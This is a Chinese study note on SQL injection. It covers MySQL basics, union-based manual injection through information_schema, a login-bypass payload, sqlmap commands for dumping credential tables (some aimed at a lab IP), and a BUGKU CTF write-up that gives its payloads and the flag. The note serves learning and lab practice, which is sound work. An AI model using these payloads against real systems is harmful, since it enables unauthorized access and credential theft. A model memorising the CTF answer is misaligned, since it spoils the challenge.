MySQL
通过AppServ/wamp/xampp可以在windows系统中快速搭建出一个Apache+PHP+MySQL的集成Web环境。
基本操作:
select version(); //查看当前MySQL版本
select user(); //查看当前用户
show databases; //查看MySQL中包含了那些数据库
select databases(); //查看当前打开的数据库
use test; //打开test数据库
show tables; //显示数据库中有哪些表
create table hack // //创建表
(
id int, //创建字段
username varchar(20), //
password varchar(20) //
);
insert into hack value(1,'admin','456');//向hack表中添加数据
insert into hack value(2,'boss','123');
再创建一个news表
create table news
-> (
-> id int,
-> title varchar(50)
-> );
Query OK, 0 rows affected (0.53 sec)
mysql> insert into news values(1,'web');
Query OK, 1 row affected (0.06 sec)
mysql> select * from news;
+------+-------+
| id | title |
+------+-------+
| 1 | web |
+------+-------+
1 row in set (0.00 sec)
ACCESS手工注入
select * from hack; #显示hack表中所有记录
select * from hack where id=1;#从hack表中查找满足条件id=1的记录
select username,password from hack where id=1;#从hack表中查找满足条件id=1的记录,并只显示username和password字
段内容
select * from hack where id=1 and username="admin";#从hack表中查找满足条件id=1以及username="admin"的记录
select * from hack where id=1 or username="boss";#从hack表中查找满足条件id=1或者username="boss"的记录
sql注入中用于猜解表名
select * from news where id=1 and exists(select * from hack); #通过exists()函数判断hack表是否存在
select * from news where id=1 and exists(select username from hack); #通过exists()函数判断hack表是否存在username字段
select * from hack order by 3; #3表示按照第三个字段来排序
union select 联合查询
union联合查询中所有查询的列数必须相同
select * from news union select * from hack; #字段数不匹配,查询出错
select * from news union select username,password from hack; #查询正常
select * from hack union select 1,id,title from news; #查询正常
ACCESS工具注入有 啊D 明小子
利用元数据库information_schema
5.0以后的MySQL中存在一个元数据库information_schema,其中存储着用户在MySQL中创建的所有其他数据库的信息
schemata :存放着所有数据库的名字
tables:存放着所有数据中的数据表的名字
columns:存放着所有数据中的数据表的所有字段的名字、
select table_name from information_schema.tables where table_schema="test"; # 查看test数据库中包含哪些表
select column_name from information_schema.columns where table_name="hack"; #查看hack数据表中包含了哪些字段
table_schema 存放所有数据库的名字
table_name 存放所有表的名字
MySQL手工注入
判断可显字段
union select 1,2,3,4,5,6,7,8,9
mysql中执行联合查询时,后面的查询语句不必指定数据表名这点有别于ACCESS
也可以:
url and 1=2 union select 1,2,3,4,5
爆出当前用户名和数据库名
and 1=2 union select 1,user(),databases(),4,5
爆出xx数据库中的包含的数据表
and 1=2 union select 1,table_name,3,4,5 from information_schema.tables where table_schema="xx"
通过group_concat()函数可以显示字段中的所有内容
and 1=2 union select 1,group_concat(table_name),3,4,5 from information_schema.tables where table_schema="xx"
爆出xx数据表中包含了哪些字段
select column_name from information_schema.columns where table_name="xx"
爆出用户名和密码
union select 1,username,password,4,5 from admin
利用unhex(hex())函数进行编码转换,解决网站编码不一致的问题
union select 1,unhex(hex(username)),unhex(hex(password)),4,5 from admin
mysql工具注入有pangolin 、havij
密码绕过漏洞
1' or 1=1 or '1
1' OR 1=1 OR'1 //过滤了or 但没过滤OR
select * from admin where username='$username' and password='$password'
将绕过语句带入
select * from admin where username='1' or 1=1 or '1'and password='$password'
在逻辑表达式中 and的优先级高于or
假or真or真and假 ==真
sqlmap的使用
检测注入点
sqlmap.py -u "url"
猜解数据库
sqlmap.py -u "url" --dbs
检测当前数据库名
sqlmap.py -u "url" --current-db
检测当前用户
sqlmap.py -u "url" --current-user
检测当前用户是否为数据库管理员
sqlmap.py -u "url" --is-dba
猜解表名
sqlmap.py -u "url" -D"要猜解的数据库名"--tables
猜解字段名
sqlmap.py -u "url" -D"要猜解的数据库名"-T"要猜解的表名"--columns
猜解字段内容
sqlmap.py -u "url" -D"要猜解的数据库名"-T"要猜解的表名"-C "要猜解的字段名"--dump
sqlmap将检测的结果保存在C:\User\用户名\.sqlmap\output目录(/root/.sqlmap/output)
cookie手工注入
cookie是什么
cookie用于在客户端本地保存用户访问网站时的一些身份验证信息
cookie与get和post方法一样,都可用于客户端向服务器端传递数据
利用sqlmap进行cookie漏洞检测
sqlmap -u "http://192.168.200.130/nfsj5.0/shownews.asp" --cookie "id=16" --level 2
--level 指定探测等级
sqlmap共有五个等级,默认为1
级别1,探测get和post数据
级别2,探测cookie数据
猜解表
sqlmap -u "http://192.168.200.130/nfsj5.0/shownews.asp" --cookie "id=16" --level 2 --tables
猜解字段
sqlmap -u "http://192.168.200.130/nfsj5.0/shownews.asp" --cookie "id=16" --level 2 --columns -T "admin"
猜解字段内容
sqlmap -u "http://192.168.200.130/nfsj5.0/shownews.asp" --cookie "id=16" --level 2 --dump -C"username,password" -
T "admin"
cookie工具注入有pangolin
例题:BUGKU 成绩查询wp
进入这道题目 我们先手遍历一遍 id=-1' union select 1,2,3,4#
发现有四个表且都有回显
于是 就开始爆破吧
通过id=-1' union select 1,2,3,database()#得到数据库名字skctf_flag
之后通过 id=-1' union select 1,2,3,group_concat(table_name) from information_schema.tables where table_schema=database()# 得到表名fl4g,sc
很显然我们需要的数据在fl4g这个表里
接下来我们就要暴字段了
通过id=-1' union select 1,2,3,group_concat(column_name) from information_schema.columns where table_name=0x666c3467#
得到字段skctf_flag
最后我们就可以开始查询数据了
通过id=-1' union select 1,2,3,skctf_flag from fl4g#
得到BUGKU{Sql_INJECT0N_4813drd8hz4}